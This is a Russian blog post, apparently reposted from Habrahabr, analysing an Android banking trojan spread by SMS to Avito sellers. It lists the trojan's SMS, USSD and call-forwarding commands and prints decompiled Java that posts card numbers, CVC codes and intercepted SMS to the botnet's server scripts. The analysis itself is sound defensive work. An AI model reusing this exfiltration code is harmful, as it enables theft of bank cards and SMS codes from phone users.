Как я позорно деактивировал ботнет

image
Статья не соответствует заголовку, сервер внезапно поднялся. Двойной позор.
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK

Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:

delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом

sent&&& — отправка заданных СМС-сообщений с сервера

rent&&& — перехват всех СМС-сообщений и отправка их на сервер

sms_stop&&& — отмена перехвата СМС-сообщений

ussd&&& — USSD-запрос

call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок

protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера. Читать дальше →

Хабрахабр про Андройд софт Android Android

Кратко по миру / android

27.08.2014 483 autoRSS Распечатать

  • Оцените публикацию
    • 0
Реклама на сайте

Похожие публикации

Как запретить Mac открывать ненужные приложения

После покупки Mac у меня было два небольших нарекания к OS X: автоматическое открывание iTunes, когда я переходил по любой ссылке в App Store в Safari и запуск Захвата приложений и iTunes при... 10-11-2014 19:30

Как произвести «чистую» установку OS X Yosemite

В этот раз, после публичного релиза OS X Yosemite, я решил, что пора заканчивать издеваться над системой и установить все “начисто”. Причин тому было две: во-первых, моя ОС каждый раз обновлялась на... 21-10-2014 17:30

[Из песочницы] Универсальный метод обхода запрета Yota раздавать интернет с телефона или собираем модуль ядра Android

Старые методы и их недостатки Я думаю, никому уже не интересно читать во второй раз (а может быть и в третий), о том, как Yota определяет, пользуется ли человек телефоном в режиме модема или точки... 30-09-2014 11:54

Android last.fm скробблер WAIL Beta теперь Open Source

Привет. Примерно полгода назад я запилил Android приложение для скробблинга проигрываемой в разных плеерах музыки в last.fm. Уже несколько месяцев у меня нет времени развивать этот проект, поэтому я... 11-07-2014 12:43

Как создавать патчи, основанные на доверчивой политике безопасности Android

Приветствую тебя, уважаемый читатель! Offtop В этом топике я хотел бы рассказать о том, как можно получать доступ к тому, что принадлежит нам, но косвенно. Любой софт — это чья-то... 21-04-2014 20:46

Как настроить клавишу ? (или любую другую) для извлечения флэшек и внешних жестких дисков

Недавно у меня наконец-то дошли руки оформить в USB-карман, вытащенный из моего MBP 13″, 500 гигабайтный жесткий диск, оставшийся после апгрейда. На этот шаг меня подтолкнула нехватка места на... 26-03-2014 19:00

Стримим радиоэфир или полицейская волна онлайн

Продалжаем собирать материалы по средствам связи (и не только сотовым), крайне любопытная статья была опубликована на Хабрахабре. Пользователь vvzvlad рассказывает о схеме прслушивания диапазона... 23-06-2012 11:40

[App Store] iStylist Makeover: стилист в кармане!

Сколько раз за всю недолгую жизнь человек меняет свою прическу? Я вот, например, лет до восемнадцати ходил с левым пробором, потом перешел на прямую челку, затем вынужденный полубокс, далее чуть... 10-01-2009 21:53


@

  • bowtiesmilelaughingblushsmileyrelaxedsmirk
    heart_eyeskissing_heartkissing_closed_eyesflushedrelievedsatisfiedgrin
    winkstuck_out_tongue_winking_eyestuck_out_tongue_closed_eyesgrinningkissingstuck_out_tonguesleeping
    worriedfrowninganguishedopen_mouthgrimacingconfusedhushed
    expressionlessunamusedsweat_smilesweatdisappointed_relievedwearypensive
    disappointedconfoundedfearfulcold_sweatperseverecrysob
    joyastonishedscreamtired_faceangryragetriumph
    sleepyyummasksunglassesdizzy_faceimpsmiling_imp
    neutral_faceno_mouthinnocent


Другие материалы сайта:

Обзор комплекта Bose ST10х2

Любопытный комплект из двух Bose SoundTouch 10 получает новые возможности с обновленным приложением Bose SoudTouch – легкое создание стереопары для использования с системой ST или же с подключением по Bluetooth…...

mobile-review.com обзоры

Настройки и обзоры 06.12.2016 199

Владельцы Nexus 6 стали получать обновление до Android 7.0 вместо 7.1

Google выпустила для Nexus 6 обновление до Android 7.1.1 Nougat ещё в начале января. И это стало его последним официальным обновлением. Соответствующая информация появилась на официальном сайте Google для разработчиков в конце января. Казалось бы, после окончания официальной поддержки Nexus 6...

Root Nation Новости IT

Кратко по миру 15.03.2017 110

Microsoft покажет Surface Pro 5 уже 23 мая в Шанхае

Спорным, но не беспочвенным будет заявление о том, что устройства Microsoft Surface начали повальную моду на планшеты-трансформеры, которыми теперь нас щедро потчует GearBest.com. Но последним в линейке устройств был Surface Pro 4, который уже устарел – и 23 мая мы можем увидеть его наследника. ...

Root Nation Новости IT

Кратко по миру 06.05.2017 69


iPad DJey

smartZone.ru плейлист

Реклама на сайте